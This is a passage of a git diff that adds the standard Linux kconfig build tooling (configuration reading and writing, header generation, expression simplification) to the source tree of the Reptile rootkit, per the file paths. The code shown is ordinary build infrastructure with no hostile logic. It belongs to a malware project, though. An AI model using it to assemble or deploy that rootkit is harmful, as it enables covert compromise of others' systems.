strlen(CONFIG_), ' '); + if (!p) + continue; + *p++ = 0; + if (strncmp(p, "is not set", 10)) + continue; + if (def == S_DEF_USER) { + sym = sym_find(line + 2 + strlen(CONFIG_)); + if (!sym) { + sym_add_change_count(1); + goto setsym; + } + } else { + sym = sym_lookup(line + 2 + strlen(CONFIG_), 0); + if (sym->type == S_UNKNOWN) + sym->type = S_BOOLEAN; + } + if (sym->flags & def_flags) { + conf_warning("override: reassigning to symbol %s", sym->name); + } + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: + sym->def[def].tri = no; + sym->flags |= def_flags; + break; + default: + ; + } + } else if (memcmp(line, CONFIG_, strlen(CONFIG_)) == 0) { + p = strchr(line + strlen(CONFIG_), '='); + if (!p) + continue; + *p++ = 0; + p2 = strchr(p, '\n'); + if (p2) { + *p2-- = 0; + if (*p2 == '\r') + *p2 = 0; + } + if (def == S_DEF_USER) { + sym = sym_find(line + strlen(CONFIG_)); + if (!sym) { + sym_add_change_count(1); + goto setsym; + } + } else { + sym = sym_lookup(line + strlen(CONFIG_), 0); + if (sym->type == S_UNKNOWN) + sym->type = S_OTHER; + } + if (sym->flags & def_flags) { + conf_warning("override: reassigning to symbol %s", sym->name); + } + if (conf_set_sym_val(sym, def, def_flags, p)) + continue; + } else { + if (line[0] != '\r' && line[0] != '\n') + conf_warning("unexpected data"); + continue; + } +setsym: + if (sym && sym_is_choice_value(sym)) { + struct symbol *cs = prop_get_symbol(sym_get_choice_prop(sym)); + switch (sym->def[def].tri) { + case no: + break; + case mod: + if (cs->def[def].tri == yes) { + conf_warning("%s creates inconsistent choice state", sym->name); + cs->flags &= ~def_flags; + } + break; + case yes: + if (cs->def[def].tri != no) + conf_warning("override: %s changes choice state", sym->name); + cs->def[def].val = sym; + break; + } + cs->def[def].tri = EXPR_OR(cs->def[def].tri, sym->def[def].tri); + } + } + free(line); + fclose(in); + + if (modules_sym) + sym_calc_value(modules_sym); + return 0; +} + +int conf_read(const char *name) +{ + struct symbol *sym; + int i; + + sym_set_change_count(0); + + if (conf_read_simple(name, S_DEF_USER)) + return 1; + + for_all_symbols(i, sym) { + sym_calc_value(sym); + if (sym_is_choice(sym) || (sym->flags & SYMBOL_AUTO)) + continue; + if (sym_has_value(sym) && (sym->flags & SYMBOL_WRITE)) { + /* check that calculated value agrees with saved value */ + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: + if (sym->def[S_DEF_USER].tri != sym_get_tristate_value(sym)) + break; + if (!sym_is_choice(sym)) + continue; + /* fall through */ + default: + if (!strcmp(sym->curr.val, sym->def[S_DEF_USER].val)) + continue; + break; + } + } else if (!sym_has_value(sym) && !(sym->flags & SYMBOL_WRITE)) + /* no previous value and not saved */ + continue; + conf_unsaved++; + /* maybe print value in verbose mode... */ + } + + for_all_symbols(i, sym) { + if (sym_has_value(sym) && !sym_is_choice_value(sym)) { + /* Reset values of generates values, so they'll appear + * as new, if they should become visible, but that + * doesn't quite work if the Kconfig and the saved + * configuration disagree. + */ + if (sym->visible == no && !conf_unsaved) + sym->flags &= ~SYMBOL_DEF_USER; + switch (sym->type) { + case S_STRING: + case S_INT: + case S_HEX: + /* Reset a string value if it's out of range */ + if (sym_string_within_range(sym, sym->def[S_DEF_USER].val)) + break; + sym->flags &= ~(SYMBOL_VALID|SYMBOL_DEF_USER); + conf_unsaved++; + break; + default: + break; + } + } + } + + sym_add_change_count(conf_warnings || conf_unsaved); + + return 0; +} + +/* + * Kconfig configuration printer + * + * This printer is used when generating the resulting configuration after + * kconfig invocation and `defconfig' files. Unset symbol might be omitted by + * passing a non-NULL argument to the printer. + * + */ +static void +kconfig_print_symbol(FILE *fp, struct symbol *sym, const char *value, void *arg) +{ + + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: + if (*value == 'n') { + bool skip_unset = (arg != NULL); + + if (!skip_unset) + fprintf(fp, "# %s%s is not set\n", + CONFIG_, sym->name); + return; + } + break; + default: + break; + } + + fprintf(fp, "%s%s=%s\n", CONFIG_, sym->name, value); +} + +static void +kconfig_print_comment(FILE *fp, const char *value, void *arg) +{ + const char *p = value; + size_t l; + + for (;;) { + l = strcspn(p, "\n"); + fprintf(fp, "#"); + if (l) { + fprintf(fp, " "); + xfwrite(p, l, 1, fp); + p += l; + } + fprintf(fp, "\n"); + if (*p++ == '\0') + break; + } +} + +static struct conf_printer kconfig_printer_cb = +{ + .print_symbol = kconfig_print_symbol, + .print_comment = kconfig_print_comment, +}; + +/* + * Header printer + * + * This printer is used when generating the `include/generated/autoconf.h' file. + */ +static void +header_print_symbol(FILE *fp, struct symbol *sym, const char *value, void *arg) +{ + + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: { + const char *suffix = ""; + + switch (*value) { + case 'n': + break; + case 'm': + suffix = "_MODULE"; + /* fall through */ + default: + fprintf(fp, "#define %s%s%s 1\n", + CONFIG_, sym->name, suffix); + } + break; + } + case S_HEX: { + const char *prefix = ""; + + if (value[0] != '0' || (value[1] != 'x' && value[1] != 'X')) + prefix = "0x"; + fprintf(fp, "#define %s%s %s%s\n", + CONFIG_, sym->name, prefix, value); + break; + } + case S_STRING: + case S_INT: + fprintf(fp, "#define %s%s %s\n", + CONFIG_, sym->name, value); + break; + default: + break; + } + +} + +static void +header_print_comment(FILE *fp, const char *value, void *arg) +{ + const char *p = value; + size_t l; + + fprintf(fp, "/*\n"); + for (;;) { + l = strcspn(p, "\n"); + fprintf(fp, " *"); + if (l) { + fprintf(fp, " "); + xfwrite(p, l, 1, fp); + p += l; + } + fprintf(fp, "\n"); + if (*p++ == '\0') + break; + } + fprintf(fp, " */\n"); +} + +static struct conf_printer header_printer_cb = +{ + .print_symbol = header_print_symbol, + .print_comment = header_print_comment, +}; + +/* + * Tristate printer + * + * This printer is used when generating the `include/config/tristate.conf' file. + */ +static void +tristate_print_symbol(FILE *fp, struct symbol *sym, const char *value, void *arg) +{ + + if (sym->type == S_TRISTATE && *value != 'n') + fprintf(fp, "%s%s=%c\n", CONFIG_, sym->name, (char)toupper(*value)); +} + +static struct conf_printer tristate_printer_cb = +{ + .print_symbol = tristate_print_symbol, + .print_comment = kconfig_print_comment, +}; + +static void conf_write_symbol(FILE *fp, struct symbol *sym, + struct conf_printer *printer, void *printer_arg) +{ + const char *str; + + switch (sym->type) { + case S_OTHER: + case S_UNKNOWN: + break; + case S_STRING: + str = sym_get_string_value(sym); + str = sym_escape_string_value(str); + printer->print_symbol(fp, sym, str, printer_arg); + free((void *)str); + break; + default: + str = sym_get_string_value(sym); + printer->print_symbol(fp, sym, str, printer_arg); + } +} + +static void +conf_write_heading(FILE *fp, struct conf_printer *printer, void *printer_arg) +{ + char buf[256]; + + snprintf(buf, sizeof(buf), + "\n" + "Automatically generated file; DO NOT EDIT.\n" + "%s\n", + rootmenu.prompt->text); + + printer->print_comment(fp, buf, printer_arg); +} + +/* + * Write out a minimal config. + * All values that has default values are skipped as this is redundant. + */ +int conf_write_defconfig(const char *filename) +{ + struct symbol *sym; + struct menu *menu; + FILE *out; + + out = fopen(filename, "w"); + if (!out) + return 1; + + sym_clear_all_valid(); + + /* Traverse all menus to find all relevant symbols */ + menu = rootmenu.list; + + while (menu != NULL) + { + sym = menu->sym; + if (sym == NULL) { + if (!menu_is_visible(menu)) + goto next_menu; + } else if (!sym_is_choice(sym)) { + sym_calc_value(sym); + if (!(sym->flags & SYMBOL_WRITE)) + goto next_menu; + sym->flags &= ~SYMBOL_WRITE; + /* If we cannot change the symbol - skip */ + if (!sym_is_changable(sym)) + goto next_menu; + /* If symbol equals to default value - skip */ + if (strcmp(sym_get_string_value(sym), sym_get_string_default(sym)) == 0) + goto next_menu; + + /* + * If symbol is a choice value and equals to the + * default for a choice - skip. + * But only if value is bool and equal to "y" and + * choice is not "optional". + * (If choice is "optional" then all values can be "n") + */ + if (sym_is_choice_value(sym)) { + struct symbol *cs; + struct symbol *ds; + + cs = prop_get_symbol(sym_get_choice_prop(sym)); + ds = sym_choice_default(cs); + if (!sym_is_optional(cs) && sym == ds) { + if ((sym->type == S_BOOLEAN) && + sym_get_tristate_value(sym) == yes) + goto next_menu; + } + } + conf_write_symbol(out, sym, &kconfig_printer_cb, NULL); + } +next_menu: + if (menu->list != NULL) { + menu = menu->list; + } + else if (menu->next != NULL) { + menu = menu->next; + } else { + while ((menu = menu->parent)) { + if (menu->next != NULL) { + menu = menu->next; + break; + } + } + } + } + fclose(out); + return 0; +} + +int conf_write(const char *name) +{ + FILE *out; + struct symbol *sym; + struct menu *menu; + const char *basename; + const char *str; + char dirname[PATH_MAX+1], tmpname[PATH_MAX+1], newname[PATH_MAX+1]; + char *env; + + if (!name) + name = conf_get_configname(); + + dirname[0] = 0; + if (name && name[0]) { + struct stat st; + char *slash; + + if (!stat(name, &st) && S_ISDIR(st.st_mode)) { + strcpy(dirname, name); + strcat(dirname, "/"); + basename = conf_get_configname(); + } else if ((slash = strrchr(name, '/'))) { + int size = slash - name + 1; + memcpy(dirname, name, size); + dirname[size] = 0; + if (slash[1]) + basename = slash + 1; + else + basename = conf_get_configname(); + } else + basename = name; + } else + basename = conf_get_configname(); + + sprintf(newname, "%s%s", dirname, basename); + env = getenv(PRODUCT_ENV"_OVERWRITECONFIG"); + if (!env || !*env) { + sprintf(tmpname, "%s.tmpconfig.%d", dirname, (int)getpid()); + out = fopen(tmpname, "w"); + } else { + *tmpname = 0; + out = fopen(newname, "w"); + } + if (!out) + return 1; + + conf_write_heading(out, &kconfig_printer_cb, NULL); + + if (!conf_get_changed()) + sym_clear_all_valid(); + + menu = rootmenu.list; + while (menu) { + sym = menu->sym; + if (!sym) { + if (!menu_is_visible(menu)) + goto next; + str = menu_get_prompt(menu); + fprintf(out, "\n" + "#\n" + "# %s\n" + "#\n", str); + } else if (!(sym->flags & SYMBOL_CHOICE)) { + sym_calc_value(sym); + if (!(sym->flags & SYMBOL_WRITE)) + goto next; + sym->flags &= ~SYMBOL_WRITE; + + conf_write_symbol(out, sym, &kconfig_printer_cb, NULL); + } + +next: + if (menu->list) { + menu = menu->list; + continue; + } + if (menu->next) + menu = menu->next; + else while ((menu = menu->parent)) { + if (menu->next) { + menu = menu->next; + break; + } + } + } + fclose(out); + + if (*tmpname) { + strcat(dirname, basename); + strcat(dirname, ".old"); + rename(newname, dirname); + if (rename(tmpname, newname)) + return 1; + } + + conf_message(_("configuration written to %s"), newname); + + sym_set_change_count(0); + + return 0; +} + +static int conf_split_config(void) +{ + const char *name; + char path[PATH_MAX+1]; + char *opwd, *dir, *_name; + char *s, *d, c; + struct symbol *sym; + struct stat sb; + int res, i, fd; + + name = conf_get_autoconfig_name(); + conf_read_simple(name, S_DEF_AUTO); + + opwd = malloc(256); + _name = strdup(name); + if (opwd == NULL || _name == NULL) + return 1; + opwd = getcwd(opwd, 256); + dir = dirname(_name); + if (dir == NULL) { + res = 1; + goto err; + } + if (chdir(dir)) { + res = 1; + goto err; + } + + res = 0; + for_all_symbols(i, sym) { + sym_calc_value(sym); + if ((sym->flags & SYMBOL_AUTO) || !sym->name) + continue; + if (sym->flags & SYMBOL_WRITE) { + if (sym->flags & SYMBOL_DEF_AUTO) { + /* + * symbol has old and new value, + * so compare them... + */ + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: + if (sym_get_tristate_value(sym) == + sym->def[S_DEF_AUTO].tri) + continue; + break; + case S_STRING: + case S_HEX: + case S_INT: + if (!strcmp(sym_get_string_value(sym), + sym->def[S_DEF_AUTO].val)) + continue; + break; + default: + break; + } + } else { + /* + * If there is no old value, only 'no' (unset) + * is allowed as new value. + */ + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: + if (sym_get_tristate_value(sym) == no) + continue; + break; + default: + break; + } + } + } else if (!(sym->flags & SYMBOL_DEF_AUTO)) + /* There is neither an old nor a new value. */ + continue; + /* else + * There is an old value, but no new value ('no' (unset) + * isn't saved in auto.conf, so the old value is always + * different from 'no'). + */ + + /* Replace all '_' and append ".h" */ + s = sym->name; + d = path; + while ((c = *s++)) { + c = tolower(c); + *d++ = (c == '_') ? '/' : c; + } + strcpy(d, ".h"); + + /* Assume directory path already exists. */ + fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0644); + if (fd == -1) { + if (errno != ENOENT) { + res = 1; + break; + } + /* + * Create directory components, + * unless they exist already. + */ + d = path; + while ((d = strchr(d, '/'))) { + *d = 0; + if (stat(path, &sb) && mkdir(path, 0755)) { + res = 1; + goto out; + } + *d++ = '/'; + } + /* Try it again. */ + fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0644); + if (fd == -1) { + res = 1; + break; + } + } + close(fd); + } +out: + if (chdir(opwd)) + res = 1; +err: + free(opwd); + free(_name); + return res; +} + +int conf_write_autoconf(void) +{ + struct symbol *sym; + const char *name; + FILE *out, *tristate, *out_h; + int i; + char dir[PATH_MAX+1], buf[PATH_MAX+1]; + char *s; + + strcpy(dir, conf_get_configname()); + s = strrchr(dir, '/'); + if (s) + s[1] = 0; + else + dir[0] = 0; + + sym_clear_all_valid(); + + sprintf(buf, "%s.config.cmd", dir); + file_write_dep(buf); + + if (conf_split_config()) + return 1; + + sprintf(buf, "%s.tmpconfig", dir); + out = fopen(buf, "w"); + if (!out) + return 1; + + sprintf(buf, "%s.tmpconfig_tristate", dir); + tristate = fopen(buf, "w"); + if (!tristate) { + fclose(out); + return 1; + } + + sprintf(buf, "%s.tmpconfig.h", dir); + out_h = fopen(buf, "w"); + if (!out_h) { + fclose(out); + fclose(tristate); + return 1; + } + + conf_write_heading(out, &kconfig_printer_cb, NULL); + + conf_write_heading(tristate, &tristate_printer_cb, NULL); + + conf_write_heading(out_h, &header_printer_cb, NULL); + + for_all_symbols(i, sym) { + sym_calc_value(sym); + if (!(sym->flags & SYMBOL_WRITE) || !sym->name) + continue; + + /* write symbol to auto.conf, tristate and header files */ + conf_write_symbol(out, sym, &kconfig_printer_cb, (void *)1); + + conf_write_symbol(tristate, sym, &tristate_printer_cb, (void *)1); + + conf_write_symbol(out_h, sym, &header_printer_cb, NULL); + } + fclose(out); + fclose(tristate); + fclose(out_h); + + name = getenv(PRODUCT_ENV"_AUTOHEADER"); + if (!name) + name = "include/generated/autoconf.h"; + sprintf(buf, "%s.tmpconfig.h", dir); + if (rename(buf, name)) + return 1; + name = getenv(PRODUCT_ENV"_TRISTATE"); + if (!name) + name = "include/config/tristate.conf"; + sprintf(buf, "%s.tmpconfig_tristate", dir); + if (rename(buf, name)) + return 1; + name = conf_get_autoconfig_name(); + /* + * This must be the last step, kbuild has a dependency on auto.conf + * and this marks the successful completion of the previous steps. + */ + sprintf(buf, "%s.tmpconfig", dir); + if (rename(buf, name)) + return 1; + + return 0; +} + +static int sym_change_count; +static void (*conf_changed_callback)(void); + +void sym_set_change_count(int count) +{ + int _sym_change_count = sym_change_count; + sym_change_count = count; + if (conf_changed_callback && + (bool)_sym_change_count != (bool)count) + conf_changed_callback(); +} + +void sym_add_change_count(int count) +{ + sym_set_change_count(count + sym_change_count); +} + +bool conf_get_changed(void) +{ + return sym_change_count; +} + +void conf_set_changed_callback(void (*fn)(void)) +{ + conf_changed_callback = fn; +} + +static bool randomize_choice_values(struct symbol *csym) +{ + struct property *prop; + struct symbol *sym; + struct expr *e; + int cnt, def; + + /* + * If choice is mod then we may have more items selected + * and if no then no-one. + * In both cases stop. + */ + if (csym->curr.tri != yes) + return false; + + prop = sym_get_choice_prop(csym); + + /* count entries in choice block */ + cnt = 0; + expr_list_for_each_sym(prop->expr, e, sym) + cnt++; + + /* + * find a random value and set it to yes, + * set the rest to no so we have only one set + */ + def = (rand() % cnt); + + cnt = 0; + expr_list_for_each_sym(prop->expr, e, sym) { + if (def == cnt++) { + sym->def[S_DEF_USER].tri = yes; + csym->def[S_DEF_USER].val = sym; + } + else { + sym->def[S_DEF_USER].tri = no; + } + sym->flags |= SYMBOL_DEF_USER; + /* clear VALID to get value calculated */ + sym->flags &= ~SYMBOL_VALID; + } + csym->flags |= SYMBOL_DEF_USER; + /* clear VALID to get value calculated */ + csym->flags &= ~(SYMBOL_VALID); + + return true; +} + +void set_all_choice_values(struct symbol *csym) +{ + struct property *prop; + struct symbol *sym; + struct expr *e; + + prop = sym_get_choice_prop(csym); + + /* + * Set all non-assinged choice values to no + */ + expr_list_for_each_sym(prop->expr, e, sym) { + if (!sym_has_value(sym)) + sym->def[S_DEF_USER].tri = no; + } + csym->flags |= SYMBOL_DEF_USER; + /* clear VALID to get value calculated */ + csym->flags &= ~(SYMBOL_VALID | SYMBOL_NEED_SET_CHOICE_VALUES); +} + +bool conf_set_all_new_symbols(enum conf_def_mode mode) +{ + struct symbol *sym, *csym; + int i, cnt, pby, pty, ptm; /* pby: probability of boolean = y + * pty: probability of tristate = y + * ptm: probability of tristate = m + */ + + pby = 50; pty = ptm = 33; /* can't go as the default in switch-case + * below, otherwise gcc whines about + * -Wmaybe-uninitialized */ + if (mode == def_random) { + int n, p[3]; + char *env = getenv(PRODUCT_ENV"_PROBABILITY"); + n = 0; + while( env && *env ) { + char *endp; + int tmp = strtol( env, &endp, 10 ); + if( tmp >= 0 && tmp <= 100 ) { + p[n++] = tmp; + } else { + errno = ERANGE; + perror( PRODUCT_ENV"_PROBABILITY" ); + exit( 1 ); + } + env = (*endp == ':') ? endp+1 : endp; + if( n >=3 ) { + break; + } + } + switch( n ) { + case 1: + pby = p[0]; ptm = pby/2; pty = pby-ptm; + break; + case 2: + pty = p[0]; ptm = p[1]; pby = pty + ptm; + break; + case 3: + pby = p[0]; pty = p[1]; ptm = p[2]; + break; + } + + if( pty+ptm > 100 ) { + errno = ERANGE; + perror( PRODUCT_ENV"_PROBABILITY" ); + exit( 1 ); + } + } + bool has_changed = false; + + for_all_symbols(i, sym) { + if (sym_has_value(sym) || (sym->flags & SYMBOL_VALID)) + continue; + switch (sym_get_type(sym)) { + case S_BOOLEAN: + case S_TRISTATE: + has_changed = true; + switch (mode) { + case def_yes: + sym->def[S_DEF_USER].tri = yes; + break; + case def_mod: + sym->def[S_DEF_USER].tri = mod; + break; + case def_no: + sym->def[S_DEF_USER].tri = no; + break; + case def_random: + sym->def[S_DEF_USER].tri = no; + cnt = rand() % 100; + if (sym->type == S_TRISTATE) { + if (cnt < pty) + sym->def[S_DEF_USER].tri = yes; + else if (cnt < (pty+ptm)) + sym->def[S_DEF_USER].tri = mod; + } else if (cnt < pby) + sym->def[S_DEF_USER].tri = yes; + break; + default: + continue; + } + if (!(sym_is_choice(sym) && mode == def_random)) + sym->flags |= SYMBOL_DEF_USER; + break; + default: + break; + } + + } + + sym_clear_all_valid(); + + /* + * We have different type of choice blocks. + * If curr.tri equals to mod then we can select several + * choice symbols in one block. + * In this case we do nothing. + * If curr.tri equals yes then only one symbol can be + * selected in a choice block and we set it to yes, + * and the rest to no. + */ + if (mode != def_random) { + for_all_symbols(i, csym) { + if ((sym_is_choice(csym) && !sym_has_value(csym)) || + sym_is_choice_value(csym)) + csym->flags |= SYMBOL_NEED_SET_CHOICE_VALUES; + } + } + + for_all_symbols(i, csym) { + if (sym_has_value(csym) || !sym_is_choice(csym)) + continue; + + sym_calc_value(csym); + if (mode == def_random) + has_changed = randomize_choice_values(csym); + else { + set_all_choice_values(csym); + has_changed = true; + } + } + + return has_changed; +} diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/config.sh b/Linux/Rootkits/Reptile/scripts/kconfig/config.sh new file mode 100644 index 0000000..14dcbd0 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/config.sh @@ -0,0 +1,26 @@ +#!/bin/sh +# +# usage: kconfig/config.sh +# +# Runs the requested configuration from +# the directory to be configured. +# +# For instance: +# cd myproject/ +# kconfig/config.sh menuconfig +# +# Will generated a 'config' file in +# myproject/ from the 'Kconfig' file +# in myproject/ +# + +set -e +dir=`dirname $0` +topdir=`dirname $dir` +srcdir=`basename $dir` +kconfig_targets="${1-config}" +set +x +exec make -f $dir/GNUmakefile \ + TOPDIR=$topdir \ + SRCDIR=$srcdir \ + $kconfig_targets diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/expr.c b/Linux/Rootkits/Reptile/scripts/kconfig/expr.c new file mode 100644 index 0000000..d662652 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/expr.c @@ -0,0 +1,1168 @@ +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + */ + +#include +#include +#include + +#include "lkc.h" + +#define DEBUG_EXPR 0 + +struct expr *expr_alloc_symbol(struct symbol *sym) +{ + struct expr *e = xcalloc(1, sizeof(*e)); + e->type = E_SYMBOL; + e->left.sym = sym; + return e; +} + +struct expr *expr_alloc_one(enum expr_type type, struct expr *ce) +{ + struct expr *e = xcalloc(1, sizeof(*e)); + e->type = type; + e->left.expr = ce; + return e; +} + +struct expr *expr_alloc_two(enum expr_type type, struct expr *e1, struct expr *e2) +{ + struct expr *e = xcalloc(1, sizeof(*e)); + e->type = type; + e->left.expr = e1; + e->right.expr = e2; + return e; +} + +struct expr *expr_alloc_comp(enum expr_type type, struct symbol *s1, struct symbol *s2) +{ + struct expr *e = xcalloc(1, sizeof(*e)); + e->type = type; + e->left.sym = s1; + e->right.sym = s2; + return e; +} + +struct expr *expr_alloc_and(struct expr *e1, struct expr *e2) +{ + if (!e1) + return e2; + return e2 ? expr_alloc_two(E_AND, e1, e2) : e1; +} + +struct expr *expr_alloc_or(struct expr *e1, struct expr *e2) +{ + if (!e1) + return e2; + return e2 ? expr_alloc_two(E_OR, e1, e2) : e1; +} + +struct expr *expr_copy(const struct expr *org) +{ + struct expr *e; + + if (!org) + return NULL; + + e = xmalloc(sizeof(*org)); + memcpy(e, org, sizeof(*org)); + switch (org->type) { + case E_SYMBOL: + e->left = org->left; + break; + case E_NOT: + e->left.expr = expr_copy(org->left.expr); + break; + case E_EQUAL: + case E_UNEQUAL: + e->left.sym = org->left.sym; + e->right.sym = org->right.sym; + break; + case E_AND: + case E_OR: + case E_LIST: + e->left.expr = expr_copy(org->left.expr); + e->right.expr = expr_copy(org->right.expr); + break; + default: + printf("can't copy type %d\n", e->type); + free(e); + e = NULL; + break; + } + + return e; +} + +void expr_free(struct expr *e) +{ + if (!e) + return; + + switch (e->type) { + case E_SYMBOL: + break; + case E_NOT: + expr_free(e->left.expr); + return; + case E_EQUAL: + case E_UNEQUAL: + break; + case E_OR: + case E_AND: + expr_free(e->left.expr); + expr_free(e->right.expr); + break; + default: + printf("how to free type %d?\n", e->type); + break; + } + free(e); +} + +static int trans_count; + +#define e1 (*ep1) +#define e2 (*ep2) + +static void __expr_eliminate_eq(enum expr_type type, struct expr **ep1, struct expr **ep2) +{ + if (e1->type == type) { + __expr_eliminate_eq(type, &e1->left.expr, &e2); + __expr_eliminate_eq(type, &e1->right.expr, &e2); + return; + } + if (e2->type == type) { + __expr_eliminate_eq(type, &e1, &e2->left.expr); + __expr_eliminate_eq(type, &e1, &e2->right.expr); + return; + } + if (e1->type == E_SYMBOL && e2->type == E_SYMBOL && + e1->left.sym == e2->left.sym && + (e1->left.sym == &symbol_yes || e1->left.sym == &symbol_no)) + return; + if (!expr_eq(e1, e2)) + return; + trans_count++; + expr_free(e1); expr_free(e2); + switch (type) { + case E_OR: + e1 = expr_alloc_symbol(&symbol_no); + e2 = expr_alloc_symbol(&symbol_no); + break; + case E_AND: + e1 = expr_alloc_symbol(&symbol_yes); + e2 = expr_alloc_symbol(&symbol_yes); + break; + default: + ; + } +} + +void expr_eliminate_eq(struct expr **ep1, struct expr **ep2) +{ + if (!e1 || !e2) + return; + switch (e1->type) { + case E_OR: + case E_AND: + __expr_eliminate_eq(e1->type, ep1, ep2); + default: + ; + } + if (e1->type != e2->type) switch (e2->type) { + case E_OR: + case E_AND: + __expr_eliminate_eq(e2->type, ep1, ep2); + default: + ; + } + e1 = expr_eliminate_yn(e1); + e2 = expr_eliminate_yn(e2); +} + +#undef e1 +#undef e2 + +int expr_eq(struct expr *e1, struct expr *e2) +{ + int res, old_count; + + if (e1->type != e2->type) + return 0; + switch (e1->type) { + case E_EQUAL: + case E_UNEQUAL: + return e1->left.sym == e2->left.sym && e1->right.sym == e2->right.sym; + case E_SYMBOL: + return e1->left.sym == e2->left.sym; + case E_NOT: + return expr_eq(e1->left.expr, e2->left.expr); + case E_AND: + case E_OR: + e1 = expr_copy(e1); + e2 = expr_copy(e2); + old_count = trans_count; + expr_eliminate_eq(&e1, &e2); + res = (e1->type == E_SYMBOL && e2->type == E_SYMBOL && + e1->left.sym == e2->left.sym); + expr_free(e1); + expr_free(e2); + trans_count = old_count; + return res; + case E_LIST: + case E_RANGE: + case E_NONE: + /* panic */; + } + + if (DEBUG_EXPR) { + expr_fprint(e1, stdout); + printf(" = "); + expr_fprint(e2, stdout); + printf(" ?\n"); + } + + return 0; +} + +struct expr *expr_eliminate_yn(struct expr *e) +{ + struct expr *tmp; + + if (e) switch (e->type) { + case E_AND: + e->left.expr = expr_eliminate_yn(e->left.expr); + e->right.expr = expr_eliminate_yn(e->right.expr); + if (e->left.expr->type == E_SYMBOL) { + if (e->left.expr->left.sym == &symbol_no) { + expr_free(e->left.expr); + expr_free(e->right.expr); + e->type = E_SYMBOL; + e->left.sym = &symbol_no; + e->right.expr = NULL; + return e; + } else if (e->left.expr->left.sym == &symbol_yes) { + free(e->left.expr); + tmp = e->right.expr; + *e = *(e->right.expr); + free(tmp); + return e; + } + } + if (e->right.expr->type == E_SYMBOL) { + if (e->right.expr->left.sym == &symbol_no) { + expr_free(e->left.expr); + expr_free(e->right.expr); + e->type = E_SYMBOL; + e->left.sym = &symbol_no; + e->right.expr = NULL; + return e; + } else if (e->right.expr->left.sym == &symbol_yes) { + free(e->right.expr); + tmp = e->left.expr; + *e = *(e->left.expr); + free(tmp); + return e; + } + } + break; + case E_OR: + e->left.expr = expr_eliminate_yn(e->left.expr); + e->right.expr = expr_eliminate_yn(e->right.expr); + if (e->left.expr->type == E_SYMBOL) { + if (e->left.expr->left.sym == &symbol_no) { + free(e->left.expr); + tmp = e->right.expr; + *e = *(e->right.expr); + free(tmp); + return e; + } else if (e->left.expr->left.sym == &symbol_yes) { + expr_free(e->left.expr); + expr_free(e->right.expr); + e->type = E_SYMBOL; + e->left.sym = &symbol_yes; + e->right.expr = NULL; + return e; + } + } + if (e->right.expr->type == E_SYMBOL) { + if (e->right.expr->left.sym == &symbol_no) { + free(e->right.expr); + tmp = e->left.expr; + *e = *(e->left.expr); + free(tmp); + return e; + } else if (e->right.expr->left.sym == &symbol_yes) { + expr_free(e->left.expr); + expr_free(e->right.expr); + e->type = E_SYMBOL; + e->left.sym = &symbol_yes; + e->right.expr = NULL; + return e; + } + } + break; + default: + ; + } + return e; +} + +/* + * bool FOO!=n => FOO + */ +struct expr *expr_trans_bool(struct expr *e) +{ + if (!e) + return NULL; + switch (e->type) { + case E_AND: + case E_OR: + case E_NOT: + e->left.expr = expr_trans_bool(e->left.expr); + e->right.expr = expr_trans_bool(e->right.expr); + break; + case E_UNEQUAL: + // FOO!=n -> FOO + if (e->left.sym->type == S_TRISTATE) { + if (e->right.sym == &symbol_no) { + e->type = E_SYMBOL; + e->right.sym = NULL; + } + } + break; + default: + ; + } + return e; +} + +/* + * e1 || e2 -> ? + */ +static struct expr *expr_join_or(struct expr *e1, struct expr *e2) +{ + struct expr *tmp; + struct symbol *sym1, *sym2; + + if (expr_eq(e1, e2)) + return expr_copy(e1); + if (e1->type != E_EQUAL && e1->type != E_UNEQUAL && e1->type != E_SYMBOL && e1->type != E_NOT) + return NULL; + if (e2->type != E_EQUAL && e2->type != E_UNEQUAL && e2->type != E_SYMBOL && e2->type != E_NOT) + return NULL; + if (e1->type == E_NOT) { + tmp = e1->left.expr; + if (tmp->type != E_EQUAL && tmp->type != E_UNEQUAL && tmp->type != E_SYMBOL) + return NULL; + sym1 = tmp->left.sym; + } else + sym1 = e1->left.sym; + if (e2->type == E_NOT) { + if (e2->left.expr->type != E_SYMBOL) + return NULL; + sym2 = e2->left.expr->left.sym; + } else + sym2 = e2->left.sym; + if (sym1 != sym2) + return NULL; + if (sym1->type != S_BOOLEAN && sym1->type != S_TRISTATE) + return NULL; + if (sym1->type == S_TRISTATE) { + if (e1->type == E_EQUAL && e2->type == E_EQUAL && + ((e1->right.sym == &symbol_yes && e2->right.sym == &symbol_mod) || + (e1->right.sym == &symbol_mod && e2->right.sym == &symbol_yes))) { + // (a='y') || (a='m') -> (a!='n') + return expr_alloc_comp(E_UNEQUAL, sym1, &symbol_no); + } + if (e1->type == E_EQUAL && e2->type == E_EQUAL && + ((e1->right.sym == &symbol_yes && e2->right.sym == &symbol_no) || + (e1->right.sym == &symbol_no && e2->right.sym == &symbol_yes))) { + // (a='y') || (a='n') -> (a!='m') + return expr_alloc_comp(E_UNEQUAL, sym1, &symbol_mod); + } + if (e1->type == E_EQUAL && e2->type == E_EQUAL && + ((e1->right.sym == &symbol_mod && e2->right.sym == &symbol_no) || + (e1->right.sym == &symbol_no && e2->right.sym == &symbol_mod))) { + // (a='m') || (a='n') -> (a!='y') + return expr_alloc_comp(E_UNEQUAL, sym1, &symbol_yes); + } + } + if (sym1->type == S_BOOLEAN && sym1 == sym2) { + if ((e1->type == E_NOT && e1->left.expr->type == E_SYMBOL && e2->type == E_SYMBOL) || + (e2->type == E_NOT && e2->left.expr->type == E_SYMBOL && e1->type == E_SYMBOL)) + return expr_alloc_symbol(&symbol_yes); + } + + if (DEBUG_EXPR) { + printf("optimize ("); + expr_fprint(e1, stdout); + printf(") || ("); + expr_fprint(e2, stdout); + printf(")?\n"); + } + return NULL; +} + +static struct expr *expr_join_and(struct expr *e1, struct expr *e2) +{ + struct expr *tmp; + struct symbol *sym1, 